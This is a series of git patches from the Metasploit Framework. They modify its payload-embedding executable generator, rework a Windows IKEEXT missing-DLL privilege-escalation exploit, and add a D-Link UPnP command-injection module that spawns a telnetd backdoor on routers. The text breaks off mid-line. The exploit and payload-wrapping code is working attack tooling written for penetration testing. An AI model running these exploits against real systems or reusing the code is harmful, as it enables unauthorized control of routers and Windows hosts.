a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index 12b68a1460..49ee94e3e5 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -1,7 +1,4 @@ # -*- coding: binary -*- -## -# $Id$ -## ### # @@ -73,7 +70,7 @@ module Exploit::EXE pl = opts[:code] pl ||= payload.encoded - if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) + if opts[:arch] and opts[:arch] == ARCH_X64 exe = Msf::Util::EXE.to_win64pe_service(framework, pl, opts) else exe = Msf::Util::EXE.to_win32pe_service(framework, pl, opts) @@ -91,7 +88,8 @@ module Exploit::EXE # NOTE: Only Windows is supported here. pl = opts[:code] pl ||= payload.encoded - if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) + + if opts[:arch] and opts[:arch] == ARCH_X64 dll = Msf::Util::EXE.to_win64pe_dll(framework, pl, opts) else dll = Msf::Util::EXE.to_win32pe_dll(framework, pl, opts) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 375a6c1a5f..08412cb2ba 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1,21 +1,13 @@ # -*- coding: binary -*- -## -# $Id: exe.rb 14286 2011-11-20 01:41:04Z rapid7 $ -## -### -# -# framework-util-exe -# -------------- +module Msf +module Util + # # The class provides methods for creating and encoding executable file # formats for various platforms. It is a replacement for the previous # code in Rex::Text # -### - -module Msf -module Util class EXE require 'rex' @@ -128,6 +120,20 @@ require 'digest/sha1' end # XXX: Add PPC OS X and Linux here end + + if(arch.index(ARCH_MIPSLE)) + if(plat.index(Msf::Module::Platform::Linux)) + return to_linux_mipsle_elf(framework, code) + end + # XXX: Add remaining MIPSLE systems here + end + + if(arch.index(ARCH_MIPSBE)) + if(plat.index(Msf::Module::Platform::Linux)) + return to_linux_mipsbe_elf(framework, code) + end + # XXX: Add remaining MIPSLE systems here + end nil end @@ -255,8 +261,12 @@ require 'digest/sha1' raise RuntimeError, "The .text section does not contain an entry point" end - if(text.size < (payload.length + 256)) - raise RuntimeError, "The .text section is too small to be usable" + p_length = payload.length + 256 + if(text.size < p_length) + fname = ::File.basename(opts[:template]) + msg = "The .text section for '#{fname}' is too small. " + msg << "Minimum is #{p_length.to_s} bytes, your .text section is #{text.size.to_s} bytes" + raise RuntimeError, msg end # Store some useful offsets @@ -354,9 +364,46 @@ require 'digest/sha1' exe end + def self.to_winpe_only(framework, code, opts={}, arch="x86") + + # Allow the user to specify their own EXE template + + set_template_default(opts, "template_"+arch+"_windows.exe") + + pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) + + exe = '' + File.open(opts[:template], 'rb') { |fd| + exe = fd.read(fd.stat.size) + } + + sections_header = [] + pe._file_header.v['NumberOfSections'].times { |i| sections_header << [(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18+0x24),exe[(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18),0x28]] } + + + #look for section with entry point + sections_header.each do |sec| + virtualAddress = sec[1][0xc,0x4].unpack('L')[0] + sizeOfRawData = sec[1][0x10,0x4].unpack('L')[0] + characteristics = sec[1][0x24,0x4].unpack('L')[0] + if pe.hdr.opt.AddressOfEntryPoint >= virtualAddress && pe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData + #put this section writable + characteristics|=0x80000000 + newcharacteristics = [characteristics].pack('L') + exe[sec[0],newcharacteristics.length]=newcharacteristics + end + end + + #put the shellcode at the entry point, overwriting template + exe[pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint),code.length]=code + + return exe + end + def self.to_win32pe_old(framework, code, opts={}) + payload = code.dup # Allow the user to specify their own EXE template set_template_default(opts, "template_x86_windows_old.exe") @@ -365,17 +412,17 @@ require 'digest/sha1' pe = fd.read(fd.stat.size) } - if(code.length < 2048) - code << Rex::Text.rand_text(2048-code.length) + if(payload.length < 2048) + payload << Rex::Text.rand_text(2048-payload.length) end - if(code.length > 2048) + if(payload.length > 2048) raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module" end bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, code.length] = code + pe[bo, payload.length] = payload pe[136, 4] = [rand(0x100000000)].pack('V') @@ -414,7 +461,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, code.length] = [code].pack("a*") + pe[bo, 8192] = [code].pack("a8192") return pe end @@ -451,7 +498,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, code.length] = [code].pack("a*") + pe[bo, 8192] = [code].pack("a8192") if name bo = pe.index('SERVICENAME') @@ -480,7 +527,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, code.length] = [code].pack("a*") + pe[bo, 8192] = [code].pack("a8192") if name bo = pe.index('SERVICENAME') @@ -507,7 +554,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, code.length] = [code].pack("a*") + pe[bo, 8192] = [code].pack("a8192") # optional mutex mt = pe.index('MUTEX!!!') @@ -528,7 +575,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, code.length] = [code].pack("a*") + pe[bo, 8192] = [code].pack("a8192") # optional mutex mt = pe.index('MUTEX!!!') @@ -605,13 +652,14 @@ require 'digest/sha1' end # Create an ELF executable containing the payload provided in +code+ + # # For the default template, this method just appends the payload, checks if # the template is 32 or 64 bit and adjusts the offsets accordingly # For user-provided templates, modifies the header to mark all executable # segments as writable and overwrites the entrypoint (usually _start) with # the payload. # - def self.to_exe_elf(framework, opts, template, code) + def self.to_exe_elf(framework, opts, template, code, big_endian=false) # Allow the user to specify their own template set_template_default(opts, template) @@ -636,11 +684,21 @@ require 'digest/sha1' # Use the proper offsets and pack size case elf[4] when 1, "\x01" # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9) - elf[0x44,4] = [elf.length].pack('V') #p_filesz - elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz + if big_endian + elf[0x44,4] = [elf.length].pack('N') #p_filesz + elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz + else # little endian + elf[0x44,4] = [elf.length].pack('V') #p_filesz + elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz + end when 2, "\x02" # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9) - elf[0x60,8] = [elf.length].pack('Q') #p_filesz - elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz + if big_endian + elf[0x60,8] = [elf.length].pack('Q>') #p_filesz + elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz + else # little endian + elf[0x60,8] = [elf.length].pack('Q') #p_filesz + elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz + end else raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported" end @@ -713,6 +771,16 @@ require 'digest/sha1' return elf end + def self.to_linux_mipsle_elf(framework, code, opts={}) + elf = to_exe_elf(framework, opts, "template_mipsle_linux.bin", code) + return elf + end + + def self.to_linux_mipsbe_elf(framework, code, opts={}) + elf = to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true) + return elf + end + def self.to_exe_vba(exes='') exe = exes.unpack('C*') vba = "" @@ -1183,8 +1251,9 @@ End Sub # Creates a jar file that drops the provided +exe+ into a random file name # in the system's temp dir and executes it. # - # See also: +Msf::Core::Payload::Java+ + # @see Msf::Payload::Java # + # @return [Rex::Zip::Jar] def self.to_jar(exe, opts={}) spawn = opts[:spawn] || 2 exe_name = Rex::Text.rand_text_alpha(8) + ".exe" @@ -1201,8 +1270,30 @@ End Sub zip end - # Creates a Web Archive (WAR) file from the provided jsp code. Additional options - # can be provided via the "opts" hash. + # Creates a Web Archive (WAR) file from the provided jsp code. + # + # On Tomcat, WAR files will be deployed into a directory with the same name + # as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the + # server is in a default configuration, deoployment will happen + # automatically. See + # {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat + # documentation} for a description of how this works. + # + # @param jsp_raw [String] JSP code to be added in a file called +jsp_name+ + # in the archive. This will be compiled by the victim servlet container + # (e.g., Tomcat) and act as the main function for the servlet. + # @param opts [Hash] + # @option opts :jsp_name [String] Name of the in the archive + # _without the .jsp extension_. Defaults to random. + # @option opts :app_name [String] Name of the app to put in the + # tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to + # random. + # @option opts :extra_files [Array] Additional files to add + # to the archive. First elment is filename, second is data + # + # @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar} + # + # @return [String] def self.to_war(jsp_raw, opts={}) jsp_name = opts[:jsp_name] jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8) @@ -1243,9 +1334,15 @@ End Sub return zip.pack end - # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a payload. - # The jsp page converts the hexdump back to a normal .exe file and places it in - # the temp directory. The payload .exe file is then executed. + # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a + # payload. The jsp page converts the hexdump back to a normal binary file + # and places it in the temp directory. The payload file is then executed. + # + # @see to_war + # @param exe [String] Executable to drop and run. + # @param opts (see to_war) + # @option opts (see to_war) + # @return (see to_war) def self.to_jsp_war(exe, opts={}) # begin .jsp @@ -1870,6 +1967,15 @@ End Sub output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts) end + when 'exe-only' + if(not arch or (arch.index(ARCH_X86))) + output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts) + end + + if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) + output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts, "x64") + end + when 'elf' if (not plat or (plat.index(Msf::Module::Platform::Linux))) if (not arch or (arch.index(ARCH_X86))) @@ -1934,7 +2040,7 @@ End Sub end def self.to_executable_fmt_formats - ['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net'] + ['dll','exe','exe-small','exe-only','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net'] end # diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ikeext_service.rb similarity index 89% rename from modules/exploits/windows/local/ipsec_keyring_service.rb rename to modules/exploits/windows/local/ikeext_service.rb index 3635e079e7..c72cb6f9bd 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -22,33 +22,33 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info={}) super( update_info( info, - 'Name' => 'IKE and AuthIP IPsec Keyring Modules Missing DLL', + 'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL', 'Description' => %q{ - This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring - Modules' service which runs as SYSTEM, and starts automatically in default - installations of Vista-Win8. Use reverse_http(s) for greater reliability - when attempting to reboot system. + This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' + (IKEEXT) service which runs as SYSTEM, and starts automatically in default + installations of Vista-Win8. Use reverse_http(s) for greater reliability when + attempting to reboot system. It requires an insecure bin path to plant the DLL payload. }, 'References' => [ ['URL', 'https://www.htbridge.com/advisory/HTB23108'], ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html'] ], - 'DisclosureDate' => "Oct 9 2012", + 'DisclosureDate' => "Oct 09 2012", 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell ' ], - 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Platform' => [ 'win'], 'Targets' => [ - [ 'Windows', { } ], + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'SessionTypes' => [ "meterpreter" ], 'DefaultOptions' => - { + { 'EXITFUNC' => 'thread', 'WfsDelay' => '5' }, @@ -193,22 +193,20 @@ class Metasploit3 < Msf::Exploit::Local return nil end - def session_arch - if sysinfo["Architecture"] =~ /x64/i - return ARCH_X86_64 - elsif sysinfo["Architecture"] =~ /x86/i - return ARCH_X86 + def check_session_arch + if sysinfo['Architecture'] =~ /x64/i + if payload_instance.arch.first == 'x86' + fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") + end else - print_status("#{sysinfo["Architecture"]}") - return nil + if payload_instance.arch.first =~ /64/i + fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") + end end end def exploit - unless session_arch == payload_instance.arch.first - vprint_error("Session Arch: #{session_arch} Payload Arch: #{payload_instance.arch}") - fail_with(Exploit::Failure::BadConfig, "Wrong Architecture targetted") - end + check_session_arch begin @token = get_imperstoken @@ -217,8 +215,7 @@ class Metasploit3 < Msf::Exploit::Local end if is_system? - print_error("Current user is already SYSTEM, aborting.") - return + fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.") end print_status("Checking service exists...") @@ -227,7 +224,7 @@ class Metasploit3 < Msf::Exploit::Local end if is_uac_enabled? - print_warning("UAC is enabled, may get false negatives on writeable folders.") + print_warning("UAC is enabled, may get false negatives on writable folders.") end if datastore['DIR'].empty? @@ -263,7 +260,7 @@ class Metasploit3 < Msf::Exploit::Local end # Check architecture - dll = generate_payload_dll({ :arch => session_arch }) + dll = generate_payload_dll # # Drop the malicious executable into the path From fee5fabb91d2fda352b33da42031b0793b83d565 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Wed, 24 Jul 2013 19:59:04 +0100 Subject: [PATCH 023/160] Revert x64 corruption changes --- lib/msf/core/exploit/exe.rb | 3 + lib/msf/util/exe.rb | 164 +++++++----------------------------- 2 files changed, 32 insertions(+), 135 deletions(-) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index 49ee94e3e5..e4d632d0ef 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -1,4 +1,7 @@ # -*- coding: binary -*- +## +# $Id$ +## ### # diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 08412cb2ba..5d6c0e509a 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1,13 +1,21 @@ # -*- coding: binary -*- +## +# $Id: exe.rb 14286 2011-11-20 01:41:04Z rapid7 $ +## -module Msf -module Util - +### +# +# framework-util-exe +# -------------- # # The class provides methods for creating and encoding executable file # formats for various platforms. It is a replacement for the previous # code in Rex::Text # +### + +module Msf +module Util class EXE require 'rex' @@ -120,20 +128,6 @@ require 'digest/sha1' end # XXX: Add PPC OS X and Linux here end - - if(arch.index(ARCH_MIPSLE)) - if(plat.index(Msf::Module::Platform::Linux)) - return to_linux_mipsle_elf(framework, code) - end - # XXX: Add remaining MIPSLE systems here - end - - if(arch.index(ARCH_MIPSBE)) - if(plat.index(Msf::Module::Platform::Linux)) - return to_linux_mipsbe_elf(framework, code) - end - # XXX: Add remaining MIPSLE systems here - end nil end @@ -261,12 +255,8 @@ require 'digest/sha1' raise RuntimeError, "The .text section does not contain an entry point" end - p_length = payload.length + 256 - if(text.size < p_length) - fname = ::File.basename(opts[:template]) - msg = "The .text section for '#{fname}' is too small. " - msg << "Minimum is #{p_length.to_s} bytes, your .text section is #{text.size.to_s} bytes" - raise RuntimeError, msg + if(text.size < (payload.length + 256)) + raise RuntimeError, "The .text section is too small to be usable" end # Store some useful offsets @@ -364,46 +354,9 @@ require 'digest/sha1' exe end - def self.to_winpe_only(framework, code, opts={}, arch="x86") - - # Allow the user to specify their own EXE template - - set_template_default(opts, "template_"+arch+"_windows.exe") - - pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) - - exe = '' - File.open(opts[:template], 'rb') { |fd| - exe = fd.read(fd.stat.size) - } - - sections_header = [] - pe._file_header.v['NumberOfSections'].times { |i| sections_header << [(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18+0x24),exe[(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18),0x28]] } - - - #look for section with entry point - sections_header.each do |sec| - virtualAddress = sec[1][0xc,0x4].unpack('L')[0] - sizeOfRawData = sec[1][0x10,0x4].unpack('L')[0] - characteristics = sec[1][0x24,0x4].unpack('L')[0] - if pe.hdr.opt.AddressOfEntryPoint >= virtualAddress && pe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData - #put this section writable - characteristics|=0x80000000 - newcharacteristics = [characteristics].pack('L') - exe[sec[0],newcharacteristics.length]=newcharacteristics - end - end - - #put the shellcode at the entry point, overwriting template - exe[pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint),code.length]=code - - return exe - end - def self.to_win32pe_old(framework, code, opts={}) - payload = code.dup # Allow the user to specify their own EXE template set_template_default(opts, "template_x86_windows_old.exe") @@ -412,17 +365,17 @@ require 'digest/sha1' pe = fd.read(fd.stat.size) } - if(payload.length < 2048) - payload << Rex::Text.rand_text(2048-payload.length) + if(code.length < 2048) + code << Rex::Text.rand_text(2048-code.length) end - if(payload.length > 2048) + if(code.length > 2048) raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module" end bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, payload.length] = payload + pe[bo, code.length] = code pe[136, 4] = [rand(0x100000000)].pack('V') @@ -652,14 +605,13 @@ require 'digest/sha1' end # Create an ELF executable containing the payload provided in +code+ - # # For the default template, this method just appends the payload, checks if # the template is 32 or 64 bit and adjusts the offsets accordingly # For user-provided templates, modifies the header to mark all executable # segments as writable and overwrites the entrypoint (usually _start) with # the payload. # - def self.to_exe_elf(framework, opts, template, code, big_endian=false) + def self.to_exe_elf(framework, opts, template, code) # Allow the user to specify their own template set_template_default(opts, template) @@ -684,21 +636,11 @@ require 'digest/sha1' # Use the proper offsets and pack size case elf[4] when 1, "\x01" # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9) - if big_endian - elf[0x44,4] = [elf.length].pack('N') #p_filesz - elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz - else # little endian - elf[0x44,4] = [elf.length].pack('V') #p_filesz - elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz - end + elf[0x44,4] = [elf.length].pack('V') #p_filesz + elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz when 2, "\x02" # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9) - if big_endian - elf[0x60,8] = [elf.length].pack('Q>') #p_filesz - elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz - else # little endian - elf[0x60,8] = [elf.length].pack('Q') #p_filesz - elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz - end + elf[0x60,8] = [elf.length].pack('Q') #p_filesz + elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz else raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported" end @@ -771,16 +713,6 @@ require 'digest/sha1' return elf end - def self.to_linux_mipsle_elf(framework, code, opts={}) - elf = to_exe_elf(framework, opts, "template_mipsle_linux.bin", code) - return elf - end - - def self.to_linux_mipsbe_elf(framework, code, opts={}) - elf = to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true) - return elf - end - def self.to_exe_vba(exes='') exe = exes.unpack('C*') vba = "" @@ -1251,9 +1183,8 @@ End Sub # Creates a jar file that drops the provided +exe+ into a random file name # in the system's temp dir and executes it. # - # @see Msf::Payload::Java + # See also: +Msf::Core::Payload::Java+ # - # @return [Rex::Zip::Jar] def self.to_jar(exe, opts={}) spawn = opts[:spawn] || 2 exe_name = Rex::Text.rand_text_alpha(8) + ".exe" @@ -1270,30 +1201,8 @@ End Sub zip end - # Creates a Web Archive (WAR) file from the provided jsp code. - # - # On Tomcat, WAR files will be deployed into a directory with the same name - # as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the - # server is in a default configuration, deoployment will happen - # automatically. See - # {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat - # documentation} for a description of how this works. - # - # @param jsp_raw [String] JSP code to be added in a file called +jsp_name+ - # in the archive. This will be compiled by the victim servlet container - # (e.g., Tomcat) and act as the main function for the servlet. - # @param opts [Hash] - # @option opts :jsp_name [String] Name of the in the archive - # _without the .jsp extension_. Defaults to random. - # @option opts :app_name [String] Name of the app to put in the - # tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to - # random. - # @option opts :extra_files [Array] Additional files to add - # to the archive. First elment is filename, second is data - # - # @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar} - # - # @return [String] + # Creates a Web Archive (WAR) file from the provided jsp code. Additional options + # can be provided via the "opts" hash. def self.to_war(jsp_raw, opts={}) jsp_name = opts[:jsp_name] jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8) @@ -1334,15 +1243,9 @@ End Sub return zip.pack end - # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a - # payload. The jsp page converts the hexdump back to a normal binary file - # and places it in the temp directory. The payload file is then executed. - # - # @see to_war - # @param exe [String] Executable to drop and run. - # @param opts (see to_war) - # @option opts (see to_war) - # @return (see to_war) + # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a payload. + # The jsp page converts the hexdump back to a normal .exe file and places it in + # the temp directory. The payload .exe file is then executed. def self.to_jsp_war(exe, opts={}) # begin .jsp @@ -1967,15 +1870,6 @@ End Sub output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts) end - when 'exe-only' - if(not arch or (arch.index(ARCH_X86))) - output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts) - end - - if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) - output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts, "x64") - end - when 'elf' if (not plat or (plat.index(Msf::Module::Platform::Linux))) if (not arch or (arch.index(ARCH_X86))) @@ -2040,7 +1934,7 @@ End Sub end def self.to_executable_fmt_formats - ['dll','exe','exe-small','exe-only','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net'] + ['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net'] end # From 846925e3baf5767afad42840de03d88fe624d838 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 19 Aug 2013 14:56:12 -0500 Subject: [PATCH 024/160] Delete telnet target from dlink_upnp_exec_noauth --- .../linux/http/dlink_upnp_exec_noauth.rb | 60 +------------------ 1 file changed, 1 insertion(+), 59 deletions(-) diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index 5e1f5a5321..96bdc938e0 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = AverageRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer @@ -56,12 +56,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'unix' } ], - [ 'Telnet', #all devices - default target - { - 'Arch' => ARCH_CMD, - 'Platform' => 'unix' - } - ], [ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed { 'Arch' => ARCH_MIPSLE, @@ -114,58 +108,6 @@ class Metasploit3 < Msf::Exploit::Remote return end - def exploit_telnet - telnetport = rand(65535) - - vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") - - cmd = "telnetd -p #{telnetport}" - type = "add" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - type = "delete" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - - begin - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) - - if sock - print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...") - add_socket(sock) - else - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") - end - - print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}" - auth_info = { - :host => rhost, - :port => telnetport, - :sname => 'telnet', - :user => "", - :pass => "", - :source_type => "exploit", - :active => true - } - report_auth_info(auth_info) - merge_me = { - 'USERPASS_FILE' => nil, - 'USER_FILE' => nil, - 'PASS_FILE' => nil, - 'USERNAME' => nil, - 'PASSWORD' => nil - } - start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) - rescue - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") - end - return - end - def exploit_mips downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) From 232289d5004518f6a181cb1412a3220a85145e4d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 19 Aug 2013 15:01:29 -0500 Subject: [PATCH 025/160] Add new module to exploit to through telnet dlink_upnp_exec_noauth --- .../http/dlink_upnp_exec_noauth_telnetd.rb | 191 ++++++++++++++++++ 1 file changed, 191 insertions(+) create mode 100644 modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb new file mode 100644 index 0000000000..9b8c740d80 --- /dev/null +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb @@ -0,0 +1,191 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link Devices UPnP SOAP Command Execution', + 'Description' => %q{ + Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP + interface. This module has been tested successfully on DIR-300, DIR-600, DIR-645, + DIR-845 and DIR-865. According to the vulnerability discoverer, more D-Link devices + may be affected. + }, + 'Author' => + [ + 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'juan vazquez' # minor help with msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '94924' ], + [ 'BID', '61005' ], + [ 'EDB', '26664' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] + ], + 'DisclosureDate' => 'Jul 05 2013', + 'Privileged' => true, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, + }, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(49152) #port of UPnP SOAP webinterface + ], self.class) + + register_advanced_options( + [ + OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), + OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) + ], self.class) + end + + def tel_timeout + (datastore['TelnetTimeout'] || 10).to_i + end + + def banner_timeout + (datastore['TelnetBannerTimeout'] || 25).to_i + end + + def exploit + @new_portmapping_descr = rand_text_alpha(8) + @new_external_port = rand(65535) + @new_internal_port = rand(65535) + telnetport = rand(65535) + + vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") + + cmd = "telnetd -p #{telnetport}" + type = "add" + res = request(cmd, type) + if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + type = "delete" + res = request(cmd, type) + if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + + begin + print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + + if sock.nil? + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + end + + print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") + prompt = negotiate_telnet(sock) + if prompt.nil? + sock.close + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a 